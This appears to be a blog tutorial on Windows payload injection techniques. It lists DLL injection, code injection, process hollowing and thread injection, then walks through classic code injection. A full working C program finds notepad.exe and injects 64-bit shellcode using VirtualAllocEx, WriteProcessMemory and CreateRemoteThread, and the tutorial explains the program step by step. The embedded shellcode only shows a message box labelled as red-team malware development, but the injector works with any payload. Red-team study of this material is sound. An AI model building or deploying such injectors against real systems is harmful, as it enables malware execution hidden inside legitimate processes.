There are several methods to perform payload injection, including:

  1. DLL Injection: In this method, a malicious dynamic-link library (DLL) is loaded into a running process's address space. Once loaded, the DLL can run code within the context of the running process. This is often used to modify the behavior of a process or to use the process's permissions to perform actions that would otherwise be disallowed.

  2. Code Injection: In this method, the malware writes malicious code directly into the process memory. It then modifies the execution flow of the process to execute this injected code. This is a powerful technique but it can be more easily detected than some other methods, as it involves modifying the process in memory.

  3. Process Hollowing: This technique involves creating a new process in a suspended state, replacing its memory with malicious code, and then resuming the process. This technique can be used to bypass security measures that monitor the creation of new processes.

  4. Thread Injection: This involves injecting malicious code into a thread of another process. This allows the code to be executed within the context of the process associated with the thread.

Main one we will focus is Code Injection.
Here is a high-level overview of the steps typically involved in code injection:

  1. Identify the target process: The process you want to inject code into must first be identified. This can be done through various means such as process ID (PID), process name, or even through properties like owning user.

  2. Open the target process: Once the target process is identified, it needs to be opened with appropriate permissions. This is typically done with functions like OpenProcess in Windows, where you specify the process ID and the type of access you need (like PROCESS_ALL_ACCESS).

  3. Allocate memory in the target process: Next, you need to allocate memory within the target process's address space where you can write your code. This is typically done using a function like VirtualAllocEx in Windows, where you specify the process handle, the size of the memory you need, and the type of memory (typically PAGE_EXECUTE_READWRITE to allow the memory to be executed).

  4. Write the code into the allocated memory: After the memory is allocated, you can write your code into it. This is typically done using a function like WriteProcessMemory in Windows, where you specify the process handle, the base address of the allocated memory, a pointer to your code, and the size of your code.

  5. Execute the injected code: Once your code is in the target process's address space, you need to execute it. This is typically done using CreateRemoteThread in Windows, where you specify the process handle, a pointer to the function you want to execute (the base address of your injected code), and any arguments you want to pass to it.

  6. Handle the execution: Depending on the nature of your injected code, you may need to handle its execution in some way. For instance, you may need to wait for it to finish executing, or you may need to clean up resources after it's done.

  • Code Example:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

// MessageBox shellcode - 64-bit
unsigned char payload[] = {
  0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,
  0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
  0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
  0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a,
  0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
  0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52,
  0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
  0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0,
  0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
  0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
  0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
  0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6,
  0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41,
  0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
  0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
  0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
  0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
  0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00,
  0x00, 0x3e, 0x48, 0x8d, 0x95, 0x1a, 0x01, 0x00, 0x00, 0x3e, 0x4c, 0x8d,
  0x85, 0x35, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
  0x56, 0x07, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6,
  0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c,
  0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
  0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x48, 0x69, 0x20, 0x66, 0x72,
  0x6f, 0x6d, 0x20, 0x52, 0x65, 0x64, 0x20, 0x54, 0x65, 0x61, 0x6d, 0x20,
  0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x21, 0x00, 0x52, 0x54,
  0x4f, 0x3a, 0x20, 0x4d, 0x61, 0x6c, 0x44, 0x65, 0x76, 0x00
};
unsigned int payload_len = 334;


int FindTarget(const char *procname) {

        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        int pid = 0;
                
        hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
                
        pe32.dwSize = sizeof(PROCESSENTRY32); 
                
        if (!Process32First(hProcSnap, &pe32)) {
                CloseHandle(hProcSnap);
                return 0;
        }
                
        while (Process32Next(hProcSnap, &pe32)) {
                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                        pid = pe32.th32ProcessID;
                        break;
                }
        }
                
        CloseHandle(hProcSnap);
                
        return pid;
}


int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

        LPVOID pRemoteCode = NULL;
        HANDLE hThread = NULL;

  
        pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
        WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
        
        hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
        if (hThread != NULL) {
                WaitForSingleObject(hThread, 500);
                CloseHandle(hThread);
                return 0;
        }
        return -1;
}


int main(void) {
    
    int pid = 0;
    HANDLE hProc = NULL;

    pid = FindTarget("notepad.exe");

    if (pid) {
        printf("Notepad.exe PID = %d\n", pid);

        // try to open target process
        hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
                        PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
                        FALSE, (DWORD) pid);

        if (hProc != NULL) {
            Inject(hProc, payload, payload_len);
            CloseHandle(hProc);
        }
    }
    return 0;
}

The above code does the following:

  1. Define the payload: The binary data array payload is the code that will be injected into the target process. This is often called "shellcode". In this case, it seems to be a 64-bit shellcode, presumably causing a message box to be displayed, but without further analysis, it's hard to tell exactly what this shellcode does.

  2. Find the target process: The FindTarget function uses the Windows Tool Help API to take a snapshot of the currently running processes and iterate through them. It's looking for a process with the name "notepad.exe". When it finds a match, it returns the process ID (PID) of that process.

  3. Inject the payload: The Inject function takes a handle to the target process, the payload, and the length of the payload as parameters. It uses VirtualAllocEx to allocate memory within the target process's address space, WriteProcessMemory to write the payload into the allocated memory, and then CreateRemoteThread to create a new thread in the target process, starting execution at the address of the injected payload.

  4. Main function: The main function orchestrates everything. It first finds the PID of the target process ("notepad.exe") using the FindTarget function. It then opens a handle to the target process with necessary permissions (like creating a thread, VM operation, etc.) using OpenProcess. If the process handle is valid, it proceeds to inject the payload into the target process with the Inject function.

Leave a Reply

Your email address will not be published. Required fields are marked *